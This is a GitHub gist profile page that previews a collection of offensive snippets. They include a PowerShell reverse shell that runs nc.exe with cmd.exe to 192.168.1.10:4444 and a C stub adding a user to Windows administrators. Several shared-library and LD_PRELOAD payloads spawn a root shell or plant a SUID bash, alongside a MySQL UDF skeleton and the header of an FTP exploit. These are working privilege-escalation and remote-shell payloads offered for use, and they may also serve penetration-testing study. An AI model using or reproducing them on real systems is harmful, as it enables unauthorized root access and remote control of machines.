Skip to content

Instantly share code, notes, and snippets.

🎯
Focusing

ZER0 int0x33

🎯
Focusing
Block or report user

Report or block int0x33

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View win-adduser.c
#include <stdlib.h>
int main ()
{
int i;
i=system ("net localgroup administrators $lowprivUser /add");
return 0;
}
@int0x33
int0x33 / RunAsRevShell.ps1
Created Apr 11, 2019
Windows Run As Reverse Shell
View RunAsRevShell.ps1
$username = '<username here>'
$password = '<password here>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public
@int0x33
int0x33 / params.txt
Created Mar 30, 2019 — forked from nullenc0de/params.txt
List of parameters for content discovery
View params.txt
0
1
11
12
13
14
15
16
17
2
View sql-shared-object.c
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
View random_token.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
int random_token = 333;
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
View offensive-lib.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
}
View libwelcome.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
int welcome = 333;
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
View shared-file.c
#include <stdio.h>
#include <stdlib.h>
static void welcome() __attribute__((constructor));
void welcome(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
View ld-preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
View pasvagg.pl
#!/usr/bin/perl
###############
#
# Passive Aggression v1.0
#
# Exploits FTP servers using passive mdoe to transfer data.
#
# Usage: ./pasvagg.pl ftp.cdrom.com anonymous h4x0r@hotmail.com
#
# Copyright (C) 2000 H.D. Moore <hdm@digitaloffense.net>
You can’t perform that action at this time.